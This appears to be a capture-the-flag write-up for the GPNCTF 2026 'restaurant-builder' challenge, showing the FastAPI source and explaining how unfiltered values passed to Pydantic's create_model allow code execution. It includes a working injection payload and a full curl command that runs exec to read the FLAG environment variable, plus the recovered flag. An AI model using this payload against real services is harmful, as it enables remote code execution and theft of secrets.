GPNCTF2026-restaurant-builder

Check file source
@app.get("/blueprint/{name}")
def get_blueprint(name: str):
blueprint = blueprints.get(name)
if blueprint is None:
return None
return blueprint.model_json_schema()
@app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
if name in blueprints:
raise HTTPException(status_code=409, detail="We already know that one. But keep looking, I think there are some spoons missing.")
description = {k: v for k,v in description.items() if not k.startswith("__")}
Blueprint = create_model(name, **description)
blueprints[name] = Blueprint
return "Blueprint successfully registered"
@app.get("/item/{name}")
def get_item(name: str):
return items.get(name)
@app.post("/item/{name}")
def register_item(name: str, item: str = Body()):
if name not in blueprints:
raise HTTPException(status_code=400, detail="That looks interesting but we don't know what it is. Are you sure it belongs in a kitchen?")
try:
items[name] = blueprints[name].model_validate_json(item, strict=True)
except:
raise HTTPException(status_code=409, detail="Are you sure you followed the blueprint exactly?")
return "Item successfully registered"
Analysis
The server stores data in 2 global variables:
blueprints = {}
items = {}
The /blueprint/{name} endpoint lets the user send JSON to dynamically create a Pydantic model via create_model():
Blueprint = create_model(name, **description)
Before creating the model, the server only filters fields whose key starts with __:
description = {k: v for k,v in description.items() if not k.startswith("__")}
We see the server only checks the key, but does not check the value.
So we can abuse the value to execute a Python expression. The goal is to read the FLAG environment variable, then write the flag into the global variable items so we can retrieve it via the endpoint:
GET /item/flag
Payload idea:
items['flag'] = os.environ['FLAG']
Since the expression needs to return a valid type for the field, we use a tuple expression:
(__import__('builtins').exec("items['flag']=__import__('os').environ['FLAG']"), str)[1]
Exploitation
BASE='https://boiled-tofu-with-minced-aioli-zlg3.gpn24.ctf.kitctf.de'
curl -s -X POST "$BASE/blueprint/hai" \
-H 'Content-Type: application/json' \
--data '{"x":"(__import__('"'"'builtins'"'"').exec(\"items['"'"'flag'"'"']=__import__('"'"'os'"'"').environ['"'"'FLAG'"'"']\"), str)[1]"}'
The server returns:
"Blueprint successfully registered"
At this point the payload has been executed and the flag has been written into items['flag'].
Read the flag via the /item/flag endpoint:

Flag
GPNCTF{and_one_or_Tw0_RCes_LaTer_tH3Y_8u1Lt_H4pP1LY_3Ver_Af73R}